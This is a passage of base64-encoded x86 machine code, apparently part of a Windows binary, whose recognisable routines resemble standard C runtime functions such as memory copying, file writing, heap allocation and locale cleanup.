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cGiwSdGK0BEA++RDgEg+ABdQrosKv//4MgAOtqVuhmGAAAWYNl/ACLBJ0YrQEQ9kQ4BAF0E/91EP91DFboXgAAAIPEDIv46xborqv//8cACQAAAOhvq///gyAAg8//iX3kx0X8/v///+gKAAAAi8frKIt1CIt95FbohhkAAFnD6EOr//+JGOhwq///xwAJAAAA6EKb//+DyP/o/qv//8NVi+y48BoAAOg7GwAAoQCcARAzxYlF/IOlROX//wCLRQiLTQxWM/aJhTjl//9XM/+JjTDl//+JtUDl//85dRB1BzPA6Q0IAACFyXUf6Neq//8hMOgEq///xwAWAAAA6Naa//+DyP/p6gcAAIvQi8jB+gWD4R/B4QaJlSjl//9TixSVGK0BEImNJOX//4pcESQC29D7gPsCdAWA+wF1K4tFEPfQqAF1HOh8qv//ITDoqar//8cAFgAAAOh7mv//6YgHAACLhTjl///2RBEEIHQPagJqAGoAUOiqGQAAg8QQ/7U45f//6ObZ//9ZhcAPhFADAACLhSjl//+LjSTl//+LBIUYrQEQ9kQBBIAPhDIDAADoOa///zPJi0BsOYioAAAAjYUY5f//UIuFKOX//w+UwYmNPOX//4uNJOX//4sEhRitARD/NAH/FfDwABCFwA+E7gIAADm1POX//3QIhNsPhN4CAAD/FezwABCLlTDl//8zySGNOOX//4mFEOX//4mNNOX//4mVLOX//zlNEA+GgQYAAIuFLOX//zPSiZVA5f//x4UU5f//CgAAACG9POX//4TbD4WuAQAAihAzwIuNJOX//4D6Cg+UwImFGOX//4uFKOX//4sEhRitARCJhTzl//85fAE4dByKRAE0iEX0i4U85f//iFX1agIhfAE4jUX0UOtaD77CUOia4///WYXAdESLhTDl//+LlSzl//8rwgNFEIP4AQ+G2wEAAGoCUo2FNOX//1DoDeb//4PEDIP4/w+EBQMAAIuFLOX//0D/hUDl///rJmoB/7Us5f//jYU05f//UOje5f//g8QMg/j/D4TWAgAAi4Us5f//M8lA/4VA5f//UVFqBYmFLOX//41F9FBqAY2FNOX//1BR/7UQ5f///xVo8AAQiYU85f//hcAPhJUCAABqAI2NOOX//1GLjSTl//9QjUX0UIuFKOX//4sEhRitARD/NAH/FcTwABCFwA+ETAEAAIu1QOX//4uNROX//wPxi4U85f//OYU45f//D4xJAgAAOb0Y5f//dEuLjSTl//+NhTjl//9qAFBqAY1F9MZF9A1Qi4Uo5f//iwSFGK0BEP80Af8VxPAAEIXAD4TtAAAAg7045f//AQ+M9wEAAP+FROX//0aLjTTl///phgAAAID7AXQFgPsCdTMPtwgz0mY7jRTl//+JjTTl//8PlMKDwAKJlTzl//+LlUDl//+DwgKJhSzl//+JlUDl//+A+wF0BYD7AnVLUehEFwAAWYuNNOX//2Y7wXV1g8YCOb085f//dCJqDVhQiYU05f//6B4XAABZi4005f//ZjvBdU9G/4VE5f//i5VA5f//i4Us5f//O1UQD4Kp/f//6UUBAACLnSjl//9GigKLlSTl//+LDJ0YrQEQiEQKNIsEnRitARDHRAI4AQAAAOkXAQAA/xVA8AAQi/jpCgEAAIuFKOX//4sMhRitARCLhSTl///2RAgEgA+EdQMAAIuVMOX//zP/ib005f//hNsPhQ4BAACLXRCJlTjl//+F2w+EjQMAADPJjb306///i8KJjTzl//8rhTDl//87w3NEigpCQIiNH+X//4D5ComVOOX//4uNPOX//3UL/4VE5f//xgcNR0GKlR/l//+IF0eLlTjl//9BiY085f//gfn/EwAAcriLjSTl//+NhfTr//8r+I2FIOX//2oAUFeNhfTr//9Qi4Uo5f//iwSFGK0BEP80Af8VxPAAEIXAD4QT////A7Ug5f//Ob0g5f//fBaLlTjl//+LwiuFMOX//zvDD4JB////i7005f//i41E5f//hfYPhfUCAACF/w+ErAIAAGoFWzv7D4WYAgAA6Oml///HAAkAAADoqqX//4kY6cYCAACLyoD7Ag+F6gAAADl1EA+GfAIAAMeFFOX//woAAACDpRjl//8AjZ306///i8FqDSvCi5UY5f//XjtFEHMzD7c5g8ACg8ECZju9FOX//3UQg4VE5f//AmaJM4PDAoPCAmaJO4PCAoPDAoH6/hMAAHLIjYX06///iY085f//i40k5f//K9hqAI2FIOX//1BTjYX06///UIuFKOX//4sEhRitARD/NAH/FcTwABCLtUDl//+LvTTl//+FwA+E8v3//wO1IOX//4m1QOX//zmdIOX//w+M8f7//4uNPOX//4vBi5Uw5f//K8I7RRAPgi7////p0/7//4tdEImNOOX//4XbD4SKAQAAx4UU5f//CgAAAIOlGOX//wCNhUjl//+LvTjl//8ryouVGOX//zvLczsPtzeDwQKDxwKJvTjl//9mO7UU5f//dRJqDV9miTiDwAKLvTjl//+DwgJmiTCDwgKDwAKB+qgGAABywTP2jY2c8v//VlZoVQ0AAFGNjUjl//8rwZkrwtH4UIvBUFZo6f0AAP8VaPAAEIu1QOX//4u9NOX//4mFPOX//4XAD4QA/f//M8mJjUDl//9qACvBjZUg5f//UlCNhZzy//8DwYuNJOX//1CLhSjl//+LBIUYrQEQ/zQB/xXE8AAQhcB0HouNQOX//wONIOX//4uFPOX//4mNQOX//zvBf6/rGv8VQPAAEIuNQOX//4v4i4U85f//ib005f//O8EPj5r9//+LjTjl//+L8YuVMOX//yvyibVA5f//O/MPgsT+///pd/3//2oAjZUg5f//Uv91EP+1MOX///80CP8VxPAAEIXAD4Q9/P//i7Ug5f//M//pR/3//1foL6P//1nrPIuVMOX//4uFKOX//4uNJOX//4sEhRitARD2RAEEQHQJgDoadQQzwOsc6B+j///HABwAAADo4KL//4MgAIPI/+sEK/GLxluLTfxfM81e6OqF//+L5V3DVYvsVot1CIX2D4TqAAAAi0YMOwU0pQEQdAdQ6KaP//9Zi0YQOwU4pQEQdAdQ6JSP//9Zi0YUOwU8pQEQdAdQ6IKP//9Zi0YYOwVApQEQdAdQ6HCP//9Zi0YcOwVEpQEQdAdQ6F6P//9Zi0YgOwVIpQEQdAdQ6EyP//9Zi0YkOwVMpQEQdAdQ6DqP//9Zi0Y4OwVgpQEQdAdQ6CiP//9Zi0Y8OwVkpQEQdAdQ6BaP//9Zi0ZAOwVopQEQdAdQ6ASP//9Zi0ZEOwVspQEQdAdQ6PKO//9Zi0ZIOwVwpQEQdAdQ6OCO//9Zi0ZMOwV0pQEQdAdQ6M6O//9ZXl3DVYvsVot1CIX2dFmLBjsFKKUBEHQHUOivjv//WYtGBDsFLKUBEHQHUOidjv//WYtGCDsFMKUBEHQHUOiLjv//WYtGMDsFWKUBEHQHUOh5jv//WYtGNDsFXKUBEHQHUOhnjv//WV5dw1WL7FaLdQiF9g+EbgMAAP92BOhMjv///3YI6ESO////dgzoPI7///92EOg0jv///3YU6CyO////dhjoJI7///826B2O////diDoFY7///92JOgNjv///3Yo6AWO////dizo/Y3///92MOj1jf///3Y06O2N////dhzo5Y3///92OOjdjf///3Y86NWN//+DxED/dkDoyo3///92ROjCjf///3ZI6LqN////dkzoso3///92UOiqjf///3ZU6KKN////dljomo3///92XOiSjf///3Zg6IqN////dmTogo3///92aOh6jf///3Zs6HKN////dnDoao3///92dOhijf///3Z46FqN////dnzoUo3//4PEQP+2gAAAAOhEjf///7aEAAAA6DmN////togAAADoLo3///+2jAAAAOgjjf///7aQAAAA6BiN////tpQAAADoDY3///+2mAAAAOgCjf///7acAAAA6PeM////tqAAAADo7Iz///+2pAAAAOjhjP///7aoAAAA6NaM////trgAAADoy4z///+2vAAAAOjAjP///7bAAAAA6LWM////tsQAAADoqoz///+2yAAAAOifjP//g8RA/7bMAAAA6JGM////trQAAADohoz///+21AAAAOh7jP///7bYAAAA6HCM////ttwAAADoZYz///+24AAAAOhajP///7bkAAAA6E+M////tugAAADoRIz///+20AAAAOg5jP///7bsAAAA6C6M////tvAAAADoI4z///+29AAAAOgYjP///7b4AAAA6A2M////tvwAAADoAoz///+2AAEAAOj3i////7YEAQAA6OyL//+DxED/tggBAADo3ov///+2DAEAAOjTi////7YQAQAA6MiL////thQBAADovYv///+2GAEAAOiyi////7YcAQAA6KeL////tiABAADonIv///+2JAEAAOiRi////7YoAQAA6IaL////tiwBAADoe4v///+2MAEAAOhwi////7Y0AQAA6GWL////tjgBAADoWov///+2PAEAAOhPi////7ZAAQAA6ESL////tkQBAADoOYv//4PEQP+2SAEAAOgri////7ZMAQAA6CCL////tlABAADoFYv///+2VAEAAOgKi////7ZYAQAA6P+K////tlwBAADo9Ir///+2YAEAAOjpiv//g8QcXl3DVYvsUVGhAJwBEDPFiUX8U1aLdRhXhfZ+IYtFFIvOSYA4AHQIQIXJdfWDyf+LxivBSDvGjXABfAKL8ItNJDP/hcl1DYtFCIsAi0AEi8iJRSQzwDlFKGoAagBW/3UUD5XAjQTFAQAAAFBR/xVk8AAQi8iJTfiFyXUHM8DpcQEAAH5XauAz0lj38YP4AnJLA8mNQQg7wXY/i0X4jQRFCAAAAD0ABAAAdxPo1A0AAIvchdt0HscDzMwAAOsTUOiDh///i9hZhdt0CccD3d0AAIPDCItN+OsFi034M9uF23SaUVNW/3UUagH/dST/FWTwABCFwA+E8AAAAIt1+GoAagBWU/91EP91DOg3BwAAi/iDxBiF/w+EzwAAAPdFEAAEAAB0LItNIIXJD4S7AAAAO/kPj7MAAABR/3UcVlP/dRD/dQzo/QYAAIPEGOmaAAAAhf9+T2rgM9JY9/eD+AJyQ40MP41BCDvBdjmNBH0IAAAAPQAEAAB3E+gGDQAAi/SF9nRnxwbMzAAA6xNQ6LWG//+L8FmF9nRSxwbd3QAAg8YI6wIz9oX2dEGLRfhXVlBT/3UQ/3UM6IoGAACDxBiFwHQhM8BQUDlFIHUEUFDrBv91IP91HFdWUP91JP8VaPAAEIv4VuhkAAAAWVPoXQAAAFmLx41l7F9eW4tN/DPN6AN///+L5V3DVYvsg+wQ/3UIjU3w6GSO////dSiNRfD/dST/dSD/dRz/dRj/dRT/dRD/dQxQ6Mr9//+DxCSAffwAdAeLTfiDYXD9i+Vdw1WL7ItFCIXAdBKD6AiBON3dAAB1B1Dofoj//1ldw1WL7FGhAJwBEDPFiUX8i00cU1ZXM/+FyXUNi0UIiwCLQASLyIlFHFczwDlFIFf/dRQPlcD/dRCNBMUBAAAAUFH/FWTwABCL2IXbdQczwOmRAAAAfkuB+/D//393Q40MG41BCDvBdjmNBF0IAAAAPQAEAAB3E+ieCwAAi/SF9nTMxwbMzAAA6xNQ6E2F//+L8FmF9nS3xwbd3QAAg8YI6wKL94X2dKaNBBtQV1boh8f//4PEDFNW/3UU/3UQagH/dRz/FWTwABCFwHQQ/3UYUFb/dQz/FfTwABCL+FboAf///1mLx41l8F9eW4tN/DPN6Kd9//+L5V3DVYvsg+wQ/3UIjU3w6AiN////dSCNRfD/dRz/dRj/dRT/dRD/dQxQ6Nz+//+DxByAffwAdAeLTfiDYXD9i+Vdw1WL7FaLdQxXVui2yf//WYtODIv49sGCdRfoVpr//8cACQAAAINODCCDyP/pGwEAAPbBQHQN6Dqa///HACIAAADr4lMz2/bBAXQTiV4E9sEQdH2LRgiD4f6JBolODItGDIPg74leBIPIAolGDKkMAQAAdSroror//4PAIDvwdAzooor//4PAQDvwdQtX6FfJ//9ZhcB1B1bocAoAAFn3RgwIAQAAdHqLVgiLDivKiU0MjUIBiQaLRhhIiUYEhcl+F1FSV+hh7f//g8QMi9jrR4PJIIlODOtog///dBuD//50FovHi8/B+AWD4R/B4QYDDIUYrQEQ6wW5EJwBEPZBBCB0FGoCU1NX6JYHAAAjwoPEEIP4/3Qli04IikUIiAHrFjPAQFCJRQyNRQhQV+j47P//g8QMi9g7XQx0CYNODCCDyP/rBotFCA+2wFtfXl3DVYvsg+wQU4tdDFeLfRCF23UShf90DotFCIXAdAODIAAzwOt/i0UIhcB0A4MI/1aB/////392EejpmP//ahZeiTDovIj//+tY/3UYjU3w6DeL//+LRfAz9jmwqAAAAHViZotFFLn/AAAAZjvBdjuF23QPhf90C1dWU+gzxf//g8QM6J+Y///HACoAAADolJj//4